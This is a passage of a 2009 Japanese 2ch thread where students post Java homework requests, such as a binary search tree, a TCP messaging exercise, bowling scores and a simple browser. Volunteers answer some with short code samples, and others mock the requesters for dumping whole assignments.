強引に仕様コメントにあわせて作っただけで、個人的にはとても変だ。
Cell(int value)のvalueの意味もハッキリしなかったから勝手にしたしな。
ま、提出できただけ程度てことでww
882デフォルトの名無しさん:2009/07/01(水) 20:17:37
期限はすぎましたが>>666どなたかお願いします・・
課題1は一応やったので、課題2からでいいです。
よろしくお願いしますm( _ _)m
883デフォルトの名無しさん:2009/07/01(水) 22:25:50
【 課題 】画像のモザイク処理を行いなさい
【 形態 】1. Javaアプリケーション
【 GUI  】4. 制限なし
【 期限 】7/2
【 Ver  】1.6.0_04
【 用語 】
【 補足 】モザイクにする画像はhttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/742.zip
こちらでおねがいします。
884デフォルトの名無しさん:2009/07/02(木) 09:46:33
885デフォルトの名無しさん:2009/07/02(木) 18:13:55
【 課題 】http://www.cs.is.noda.tus.ac.jp/~mune/oop/
【 形態 】2. Applet
【 期限 】7月3日(金)午後1時
【 Ver  】1.6.0_11
【 補足 】ParticleApplet.javaはhttp://www.cs.is.noda.tus.ac.jp/~mune/oop/conc.htmlにあります
申し訳ありませんが、よろしくお願いいたします。
886デフォルトの名無しさん:2009/07/02(木) 18:35:36
>>885
理科大に通報しといた。宿題をネットで聞いてる奴がいますよって
887デフォルトの名無しさん:2009/07/02(木) 21:53:20
なんと、ページの最後をクリックすると、すぐにメール出して通報可能w
888デフォルトの名無しさん:2009/07/02(木) 22:07:49
ここ、第三者でも見れるじゃん。宿題出すのが趣味な人もいるし
889デフォルトの名無しさん:2009/07/04(土) 10:10:52
【 課題 】二分探索木
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】7/6 《必須》
【 Ver  】コンソールでjava -versionを実行し、その結果を貼ります。 《必須》
【 用語 】
【 補足 】 中順走査を使って二分探索木で下からn番目を取り出す方法を教えてください。
890デフォルトの名無しさん:2009/07/04(土) 13:41:29
【 課題 】パイプライン法によってxの16乗を計算する並列プログラムを書け。(分割統治法でも行い、両者を解析的に比較すると望ましい)
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】7月11日
【 Ver  】java version "1.6.0_05"
      Java(TM) SE Runtime Environment (build 1.6.0_05-b13)
      Java HotSpot(TM) Client VM (build 10.0-b19, mixed mode, sharing)
【 用語 】
【 補足 】正直、わかりません。
891デフォルトの名無しさん:2009/07/04(土) 14:13:10
>>890
16乗とすると掛け算の回数は4回?
892デフォルトの名無しさん:2009/07/04(土) 14:20:03
>>891
なんで4回なんでしょう?
普通に16回なのでは。
893デフォルトの名無しさん:2009/07/04(土) 14:27:53
>>892
xの2乗で掛け算は何回?
xの4乗では?
894デフォルトの名無しさん:2009/07/04(土) 20:03:08
要はPipeInput/OutputStreamで数値受けて二乗して送り出すのを4つ繋げりゃいいわけ?
895デフォルトの名無しさん:2009/07/04(土) 21:51:00
>>889
情報無さすぎなんで前提でっちあげで探すだけ。動作確認よろ
import java.util.*;
public class BinarySearchTree {
public static class Node {
int value;
Node left, right;
}
private Node root;
public int get(int index) {
if(root == null) throw new NoSuchElementException();
Deque<Node> stack = new LinkedList<Node>();
pushNext(stack, root);
for(int n=0; n<index; n++) {
Node node = stack.pop();
if(node.right != null) pushNext(stack, node.right);
}
return stack.pop().value;
}
private void pushNext(Deque<Node> stack, Node node) {
stack.push(node);
while(stack.peek().left != null) stack.push(stack.peek().left);
}
}
896デフォルトの名無しさん:2009/07/05(日) 14:25:31
>>895
前提が分からん。
データが、20,10で二番目を検索だったら?
897デフォルトの名無しさん:2009/07/05(日) 17:21:37
>>896
rootからNodeのツリーが出来ているものとし、left.value<value<right.value。
20と10のツリーなら
root.value=20, root.right=null, root.left=left1
left1.value=10, left1.right=null, left1.left=null
もしくは
root.value=10, root.right=right1, root.left=null
right1.value=20, right1.right=null, right1.left=null
で、get(0)=10, get(1)=20, get(2)=NoSuchElementExsception。
あ、get()のindexは0始まり。
898デフォルトの名無しさん:2009/07/06(月) 15:13:44
>>897
普通に再帰でいんじゃ。中順分かりにくいし。
JUnit4テスト付き。
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/745.java
899デフォルトの名無しさん:2009/07/06(月) 18:11:45
【 課題 】pgm形式の画像ファイルを読み込み、sobelフィルタを用いてエッジを抽出し、結果をpgm形式の画像ファイルに出力せよ
【 形態 】Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】7月13日
【 Ver  】java version "1.6.0_0"
【 補足 】課題丸投げになりますが、どうかよろしくお願いします
900デフォルトの名無しさん:2009/07/06(月) 18:19:11
今年の学生は答えどころか課題の前提さえ理解できていないやつばかり。
まあ、まともな学生はここには来ないとはいえ・・・
901デフォルトの名無しさん:2009/07/06(月) 21:52:21
去年もね
902デフォルトの名無しさん:2009/07/06(月) 23:38:45
>>899
PGMファイルくれ
903デフォルトの名無しさん:2009/07/07(火) 10:36:36
>>902
だが断る。
904デフォルトの名無しさん:2009/07/07(火) 14:29:40
・課題の内容
TCP/IPプロトコルを用い、通信するプログラムを作成せよ。
・条件
キーボードから文字列を1行入力し、それを送信するプログラム(tcp_snd1)と、
それを受信するプログラム(tpc_rec1)の2つを作成せよ。
tcp_snd1では、送信先の計算機の名前をプログラムの引数で指定できるようにせよ。
tcp_rec1では、コネクションの要求あったら、コネクションを張り、要求した計算機のIPアドレスを表示せよ。
メッセージを受信するたびに、通信回数を[]で括って表示し、その後にメッセージを表示せよ。
空行が入力されたら、tcp_snd1もtcp_rec1の双方が終了するようにせよ。
ポートとして、9000を利用せよ。



よろしくお願いします
905デフォルトの名無しさん:2009/07/07(火) 18:41:26
906デフォルトの名無しさん:2009/07/07(火) 22:02:02
>>905
さんくす
907デフォルトの名無しさん:2009/07/08(水) 00:07:04
N=10 100 1000 10000に対して
(1)納k=1,N](1/(k^2)
(2)納k=N,1](1/(k^2)
を計算するプログラムを作成せよ

【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】7月9日 
【 Ver  】1.6.0_11

よろしくお願いします
908デフォルトの名無しさん:2009/07/08(水) 00:40:24
>>907
ttp://pastebin.com/m68ebc58

間違っていたら自分で直せ
909デフォルトの名無しさん:2009/07/08(水) 02:51:04
>>900
自分の学生時代思い出して
910デフォルトの名無しさん:2009/07/08(水) 02:59:52
911デフォルトの名無しさん:2009/07/08(水) 09:29:43
>>909
少なくとも丸投げはしなかったよ。授業も理解してたし、課題も理解してた。
それが普通なんじゃないの?
912デフォルトの名無しさん:2009/07/08(水) 09:34:22
高卒の俺にいわせりゃ低能すぎる
関係ない教科だろうが常にポケコンで独学だったしな
913デフォルトの名無しさん:2009/07/08(水) 17:01:46
【 課題 】[基本課題](80点満点)
1.自分の学籍番号を四桁入力し、それを表示する。2.自分の生まれた月日(三桁または四桁)を入力し、それを表示する。3.この二つの数字の最大公約数を求め、それを表示する。
上記の内容を実行するJAVAプログラムを書け。
[発展課題](100点満点)
ユークリッドの互除法を用いて、上記のプログラムを高速化せよ。
ソースコード「***.java」とバイトコード「***.class」、およびコンソールへ
の出力結果をコピー&ペーストしたテキストファイル「***.txt」の三つを提出
すること。発展課題まで回答した場合は、それぞれのプログラムについて提出
すること。
【 形態 Javaアプリケーション(main()で開始)/【 GUI  】1. AWTのみ/2. Swing/3. SWT/4. 制限なし/ 5. その他(明記すること)
       《GUIの課題の場合必ず選択》
【 期限 】提出期限7月10日(金)午前10時 解答希望日 7月9日 Ver  】コンソールでjava -versionを実行し、その結果を貼ります。 《必須》【 用語 】特になし【 補足 】//最大公約数プログラム
import java.io.*;
class saidaikouyakusu {
public static void main(String[] args)throws IOException{
double number1 number2,abs;
String str1;
String str2;
BufferedReader br=
new BufferedReader(new InputStreamReader(System.in));
System.out.println("学籍番号4桁、誕生日を入力しなさい。");
str1=br.readLine();
str2=br.readLine();
number1=Double.parseDouble(str1);
number2=Double.parseDouble(str2);
for(i=1;i<9999;i++){
if(number1%i==0 &&number2%i==0){
最大公約数を求めるプログラムを上記のところまでつくったのですが、そのあとが
さっぱりわかりません。それから課題1・2もわからないので解答お願いします。
それから自分の学籍番号は5068で、誕生日は1214です
914899:2009/07/08(水) 17:11:53
915デフォルトの名無しさん:2009/07/08(水) 17:15:08
わかるように書かんと答えてもらえないぞ
916デフォルトの名無しさん:2009/07/08(水) 20:27:54
917デフォルトの名無しさん:2009/07/08(水) 20:33:04
>>913
その書き方だと1.2.は入力されたものを表示するだけにしか見えないが……
918デフォルトの名無しさん:2009/07/08(水) 20:33:09
>>913
中途半端すぎ
919デフォルトの名無しさん:2009/07/08(水) 20:34:36
>>913
これは穿った見方をすると他人を陥れる罠かもしれん
920デフォルトの名無しさん:2009/07/08(水) 21:07:37
921デフォルトの名無しさん:2009/07/09(木) 00:47:53
正の数を入力し、入力した整数の1と
その数を除く約数の和を求めて表示するプログラムを作成しなさい。
15の約数は、1,3,5,15なので、1と15を除く約数の和は8となる。

お願いします。
922デフォルトの名無しさん:2009/07/09(木) 02:46:31
923デフォルトの名無しさん:2009/07/09(木) 10:45:34
>>922
できねぇならできねぇって素直にいえよ、カス。
924デフォルトの名無しさん:2009/07/09(木) 10:55:12
>>923
お前もなw
925デフォルトの名無しさん:2009/07/09(木) 10:56:09
Javaスレカオスだな
こっちもひどいがw
【初心者】Java質問・相談スレッド128【歓迎】
http://pc12.2ch.net/test/read.cgi/tech/1246259368/
926デフォルトの名無しさん:2009/07/09(木) 12:20:22
>>921
import java.io.*;
import java.util.*;
public class DivisorsSum {
public static void main(String[] args) throws IOException {
System.out.print("正の数:");
BufferedReader r = new BufferedReader(new InputStreamReader(System.in));
int value = Integer.parseInt(r.readLine());
Set<Integer> divisors = new TreeSet<Integer>();
for(int i=2, n=value/2; i<=n; i++) if(value % i == 0) divisors.add(i);
System.out.println("1,"+value+"以外の約数:"+divisors);
int sum = 0;
for(int v : divisors) sum += v;
System.out.println("1,"+value+"以外の約数の和:"+sum);
}}
927899:2009/07/09(木) 14:18:34
>>916
ありがとうございます!!
928デフォルトの名無しさん:2009/07/09(木) 14:48:08
>>926
煽られたからってテンプレ違反に答えてやるなよ。。
929デフォルトの名無しさん:2009/07/09(木) 16:58:27
>>920
ありがとうございます!!助かります!!
930デフォルトの名無しさん:2009/07/09(木) 19:25:02
>>920
小さい単純な案件だけどさ、一応バッファの面倒はみてあげようよ。
さすがに main() throws IOExceptionかつclose()しないのは雑すぎるだろう。
931920:2009/07/09(木) 22:19:40
>>930
closeしたい気持ちは分かるが、標準入(出)力をcloseして
愉快な目にあったことがあるんで、それ以来あえてしないようにしてる。
mainでthrowsしてるのは、913の作っていたのがそうなっていたのと、
930が言っているように小さく、単純で、たとえ try-catch しても
することは e.printStackTrace() にしかならないから。
932sage:2009/07/10(金) 03:09:11
【 課題 】ボウリングのスコアを付けるプログラムを作成せよ。各投球ごとの倒れたピン数を入力し、スコア一覧を出力。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】本日、7/10 15:00
【 Ver  】Eclipse Version: 3.4.2
【 補足 】1つのメソッド10行以内、引数・戻り値を持つメソッド最低3つ作成のこと。
暫定のスコアを格納する変数を用意した方がいいんでしょうか??
もう丸投げです。すみません
933デフォルトの名無しさん:2009/07/10(金) 04:59:58
>>932
補足に書いたようなことより
入力フォーマットと出力フォーマットをもっと詳しく書け
丸投げなら尚更
934デフォルトの名無しさん:2009/07/10(金) 05:29:10
>>933
入力フォーマット、出力フォーマットともに指定はありません。
コンソールにただ数字等打ち込む/テキストで「入力して下さい」等出てくるという程度のレベルが求められています。
935デフォルトの名無しさん:2009/07/10(金) 13:03:25
ペアとストライクはP,Sか?
936デフォルトの名無しさん:2009/07/10(金) 15:03:13
【 課題 】 http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/750.zip
【 形態 】1. Javaアプリケーション
【 GUI  】制限なし
【 期限 】7/13
【 Ver  】1.6.0_05
【 用語 】
【 補足 】 丸投げです。よろしくお願いします
937デフォルトの名無しさん:2009/07/10(金) 15:25:22
>>935 それで構いません!
まだ大丈夫なので何とかお願いします
938デフォルトの名無しさん:2009/07/10(金) 16:14:11
ボーリングの10フレームって一投目と二投目でペアだと三投目投げれたかな?
939デフォルトの名無しさん:2009/07/10(金) 16:31:22
>>938
投げれないよ。
940デフォルトの名無しさん:2009/07/10(金) 16:31:54
一投目でストライクでも投げられるだろ。
941938:2009/07/10(金) 16:37:12
えーインターネットにスコア公開してる人でペアの後三投目投げてる人いるけど
942デフォルトの名無しさん:2009/07/10(金) 16:48:28
それローカルルール適用してる店やん・・
943938:2009/07/10(金) 19:04:51
社団法人 日本ボウリング場協会
>10フレーム目は、ストライクかスペアを出すと3回投げられます
ttp://www.bowling.or.jp/dictionary/score_howto/index.html

なんで嘘憑くかなぁ
944デフォルトの名無しさん:2009/07/10(金) 22:09:42
おとなはウソつきではないのです。
まちがいをするだけなのです……。
945デフォルトの名無しさん:2009/07/11(土) 01:02:40
946デフォルトの名無しさん:2009/07/11(土) 05:53:54
>>932
どうせ間に合わないからと遊んでたらこんななったて感じ
全然提出向けじゃないなw
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/752.java
947デフォルトの名無しさん:2009/07/11(土) 11:32:03
>>944
ペアじゃなくてスペアて言わないから。
子供が知らないものを大人が知ってると思うなよ。
948デフォルトの名無しさん:2009/07/11(土) 12:46:03
こっちまで出張ご苦労さん
949デフォルトの名無しさん:2009/07/11(土) 13:23:21
>>945
>>946
ありがとうございます。大変参考になりました。
950デフォルトの名無しさん:2009/07/12(日) 02:13:49
ふと疑問に思ったんだけどこのスレで答えてる人って何が楽しくてそんなことしてんの?
951デフォルトの名無しさん:2009/07/12(日) 05:02:29
質問の意図が分からんな。それを知ることができたとしてどうしたいんだ?
このスレだけでなく他の質問スレや宿題スレでも、
他人に代わって問題を解決したり解法を示唆したりするのは何が楽しいかを聞いて回ってレポートでも書くのか?
952 ◆b4xdV8r0npgH :2009/07/12(日) 10:44:59
試験会場で、問題用紙を前にして>>950みたいな事考えるか?って事だろうな。
953デフォルトの名無しさん:2009/07/12(日) 12:26:47
>>950
プログラミングが楽しくないのかい?
できてしまえば出すか出さないかの問題だけ
954デフォルトの名無しさん:2009/07/12(日) 16:42:34
【 課題 】過去に作成したCalcurator03を元に以下の機能を追加しなさい。
      1)単項演算子の計算機能 2)複素数の演算機能

      機能を追加したものをNewCalcutratorとし提出しなさい。
【形態】1. Javaアプリケーション(main()で開始)
【期限】07月15日 16;00
【Ver】1.5.0.11
【補足】ほぼ丸投げの状態です。よろしくお願いします
Calcurator03
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/753.java
955デフォルトの名無しさん:2009/07/13(月) 12:11:33
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/754.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】7/21まで
【 Ver  】すいませんわかりません
【 補足 】Java初心者です。よろしくお願いします
956デフォルトの名無しさん:2009/07/13(月) 13:34:38
>>950-952
数学版だと問題とそれを解くことでちゃんとスレが機能してるけど、そういうのと同じだろう。
もともと何か聞いて教えてもらうような質問スレじゃないし。
957デフォルトの名無しさん:2009/07/13(月) 21:38:19
【 課題 】http://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0044.rar
課題文はWord形式です
【 形態 】3. Servlet/
Eclipse
 
【 期限 】7/17(金)の朝まで
【 Ver  】java version "1.6.0_07"
【 補足 】丸投げです。
       課題の制限として「カスタムタグ・EL式を利用し、JSPのスクリプトレットや式を使用しないこと。」とのことです
できればEclipseで動作できるものをお願いします
958デフォルトの名無しさん:2009/07/13(月) 21:57:26
【 課題 】テキストファイルから文字列5行を読み込み、別のテキストへ縦書きで書き出す
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】7/14 am6:00
【 Ver  】Eclipse Version: 3.4.2  
【 補足 】
あいう
かきく
さしす
上記のようなテキストファイルを読み込み、
あかさ
いきし
うくす
のように別のテキストファイルに書き出す感じです。
丸投げですが、よろしくお願いします。
959デフォルトの名無しさん:2009/07/14(火) 14:21:04
>>955
自己解決しました
960954:2009/07/14(火) 23:18:50
>>954の課題の1)は自己解決できました。
しかし2)の複素数の演算機能は解決できていません…
どなたかよろしくお願いします。
961デフォルトの名無しさん:2009/07/15(水) 03:44:26
>>958
これ配列の問題だろ?
String[][]に一字ずつ読み込んで
出力時にiとjを逆にしてやれば良いんじゃないの?
962デフォルトの名無しさん:2009/07/15(水) 04:06:15
>>961
String[]の方が簡単だろう?
963デフォルトの名無しさん:2009/07/15(水) 08:14:50
>>960
複素数型(ComplexContent?)を作ったらいいんじゃね?
964デフォルトの名無しさん:2009/07/15(水) 08:22:14
>>955
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/755.java

Cの版、転記間違いか?
>for(i=1; i a[i]=0;
>a[0]=init_value;
>}
こんなはずなかろうw
965デフォルトの名無しさん:2009/07/15(水) 09:40:56
>>958
import java.io.*;
import java.util.*;
public class Tategaki {
public static void main(String[] args) throws IOException {
if(args.length != 2) throw new IllegalArgumentException("Usage: inputfile outputfile");
writeVertical(readHorizontal(args[0]), args[1]);
}
private static List<String> readHorizontal(String inputFilename) throws FileNotFoundException, IOException {
List<String> lines = new ArrayList<String>();
BufferedReader r = new BufferedReader(new FileReader(inputFilename));
try {
for(String line=null; (line=r.readLine())!=null; lines.add(line));
} finally { r.close(); }
return lines;
}
private static void writeVertical(List<String> lines, String outputFilename) throws FileNotFoundException {
PrintStream out = new PrintStream(new FileOutputStream(outputFilename));
try {
int max = 0;
for(String line : lines) max = Math.max(max, line.length());
for(int i=0; i<max; i++) {
for(String line : lines) out.print((line.length() > i ? line.charAt(i) : " "));
out.println();
}
} finally { out.close(); }
}}
966デフォルトの名無しさん:2009/07/16(木) 01:14:17
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/760.java
      このじゃんけんプログラムにおいてコンピュータに初めて勝ったときに、
      ある画像を表示させ、2回目に勝ったときはまた別の画像を表示させる、といったように、
      コンピュータに勝つたびに異なる画像を表示させるプログラムの作成
【 形態 】Applet
【 GUI  】制限なし
【 期限 】7月18日15:00
【 Ver  】1.6.0_13
【 補足 】期限まで急で申し訳ありませんがよろしくお願いします。
967デフォルトの名無しさん:2009/07/16(木) 01:25:53
>>960
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/761.java
1)は入ってないから・・・て、終わってら
968デフォルトの名無しさん:2009/07/16(木) 02:39:50
>>966
アプレットでは標準入力は扱えない。
そのソースは課題と無関係に適当にどこかから探してきたのかもしれないけど。
選択肢としては、アプレットという要求を優先するか、出してきたソースを優先するかで、
(1) そのソースは無視してアプレットとして画像を表示するジャンケンゲームを作る。
(2) コンソールアプリケーションとしてそのソースを元に画像は別フレームを生成して表示するようにする。
等があるかな。
969デフォルトの名無しさん:2009/07/16(木) 16:03:30
970デフォルトの名無しさん:2009/07/17(金) 11:26:30
配列に関する基本問題
フィールド int型の配列numberのみ
コンストラクタ 引数で与えられたScannerから整数を順次読み取る、最初に読み取った整数を配列サイズとみなし、int型の配列を生成しnumberで参照する
その後整数を読み取ってnumber[0],number[1]、・・・・と順に代入していき、配列サイズ分だけ読み取る
number中の全要素,最大値、最小値を表示

というプログラムをjavaのEclipseというのを使ってつくるとかいう課題です
よろしくおねがいします
971デフォルトの名無しさん:2009/07/17(金) 11:39:39
>>970
あっちこっち貼るな
972デフォルトの名無しさん:2009/07/17(金) 13:29:32
>>966
重複。答える価値なし。

>>970
>>1
973デフォルトの名無しさん:2009/07/17(金) 23:14:48
課題 ttp://uploaders.ddo.jp/upload/1mb/count.cgi?1up6511.zip

【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】7月21日 
【 Ver  】1.6.0_11

zipフォルダに詳細ファイルを入れました
丸投げで申し訳ないですが、よろしくお願いします
974デフォルトの名無しさん:2009/07/19(日) 00:27:21
>>967
遅くなって申し訳ありません。回答ありがとうございました
975デフォルトの名無しさん:2009/07/19(日) 13:08:20
【 課題 】URL履歴のあるようなWebブラウザを作成しなさい。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】7/21
【 Ver  】1.6.0_11
【 用語 】
【 補足 】シンプルなもので結構です。どなたかよろしくおねがいします。
976デフォルトの名無しさん:2009/07/19(日) 14:51:29
>>975
>あるような
ってなんだ
977デフォルトの名無しさん:2009/07/19(日) 14:57:13
URL履歴のあるブラウザ作れって事
978デフォルトの名無しさん:2009/07/19(日) 15:01:40
>>977
>URL履歴のある
ってなんだよ?
979デフォルトの名無しさん:2009/07/19(日) 15:05:09
普通のブラウザにも履歴とかあるだろ あれと似たような機能付けて作れって事
980デフォルトの名無しさん:2009/07/19(日) 15:07:04
態度でけぇww
981デフォルトの名無しさん:2009/07/19(日) 15:17:52
普通のブラウザってたとえば?
俺のには「URL履歴のあるような」なんてないよ。
982デフォルトの名無しさん:2009/07/19(日) 15:25:18
URL履歴が分からない人はやらなくてもいいです
分かる人はお願いします
983デフォルトの名無しさん:2009/07/19(日) 15:32:31
それでどこまで完成してんの?
ちょっとうpしてくれる?
984デフォルトの名無しさん:2009/07/19(日) 15:46:00
public class Main
{
public static void main(String[] args)
{

}
}

ここまで完成しています
985デフォルトの名無しさん:2009/07/19(日) 15:49:47
>>982
もう完成し照るじゃん。
いったい何をお願いしてるんですか?
986デフォルトの名無しさん:2009/07/19(日) 16:36:46
>>984
なに
馬鹿なの?
死ぬの?
987デフォルトの名無しさん:2009/07/19(日) 17:34:55
>>975
ウェブ表示はどこまでサポートするの?
JEditorPaneレベルでおけ?
988デフォルトの名無しさん:2009/07/19(日) 17:42:29
989デフォルトの名無しさん:2009/07/19(日) 17:50:10
だよな、JEditorPaneでHTMLモードにしてリンクリスナーつけるだけかと
990デフォルトの名無しさん:2009/07/19(日) 18:17:45
鼻糞うめ
991デフォルトの名無しさん:2009/07/19(日) 18:33:15
>>975
import org.eclipse.swt.SWT;
import org.eclipse.swt.browser.*;
import org.eclipse.swt.events.*;
import org.eclipse.swt.layout.*;
import org.eclipse.swt.widgets.*;
public class R975 {
public static void main(String[] args) {
Display display = new Display();
Shell shell = new Shell(display);
shell.setLayout(new GridLayout(1, false));
final Combo combo = new Combo(shell, SWT.DROP_DOWN);
combo.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_FILL));
final Browser browser = new Browser(shell, SWT.NONE);
browser.setLayoutData(new GridData(GridData.FILL_BOTH));
browser.setUrl("http://www.google.com/");
combo.addSelectionListener(new SelectionListener() {
public void widgetDefaultSelected(SelectionEvent e) {}
public void widgetSelected(SelectionEvent e) { browser.setUrl(combo.getText()); }
});
combo.addKeyListener(new KeyAdapter() {
@Override public void keyReleased(KeyEvent e) { if (e.keyCode == SWT.CR) browser.setUrl(combo.getText()); }
});
browser.addLocationListener(new LocationListener() {
public void changing(LocationEvent e) {}
public void changed(LocationEvent e) { combo.add(e.location, 0); combo.select(0); }
});
shell.open();
while (! shell.isDisposed()) if (!display.readAndDispatch()) display.sleep();
display.dispose();}}
992デフォルトの名無しさん:2009/07/19(日) 21:36:42
【 課題 】Cで書かれたソースプログラムをJAVAになおせ
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/763.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】7/20
【 Ver  】java version "1.6.0_13"
【 補足 】Cのソースは自分で書きました。厳密に再現する必要はありません。自分はJAVAについての知識はほとんどありません。
993992:2009/07/19(日) 21:54:32
すみません、補足追加します。
大切なのはジャンケンゲームの部分なので、
再現できないorめんどうくさい部分があれば省略していただいて結構です。
994デフォルトの名無しさん:2009/07/19(日) 22:13:41
995992:2009/07/19(日) 22:18:03
>>994
後からGUIなどもつけたいですし、
分割コンパイルも実装したいので、992を準拠にしたソースプログラムが欲しいのです。
混乱させるようなことを書いてすみません。
996デフォルトの名無しさん:2009/07/19(日) 22:33:54
>>995
じゃんけんの仕組みだけ欲しいなら>>994でいいじゃん。
GUIは好きに付ければいいし、それは分割コンパイルすればいい。
997デフォルトの名無しさん:2009/07/19(日) 22:34:21
>>973
ノルムってなんだ?
998992:2009/07/19(日) 22:42:21
>>996
上でもうしましたように、JAVAについての知識がほとんどないため、
ソースコードを作成していただいたのち、ソースを読み取っていって理解を深めようと思ったのです・・
文字入力の仕方等を含め
999デフォルトの名無しさん:2009/07/19(日) 23:15:25

★★ Java の宿題ここで答えます Part 68 ★★
http://pc12.2ch.net/test/read.cgi/tech/1248012902/
1000デフォルトの名無しさん:2009/07/19(日) 23:15:34
うめ
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。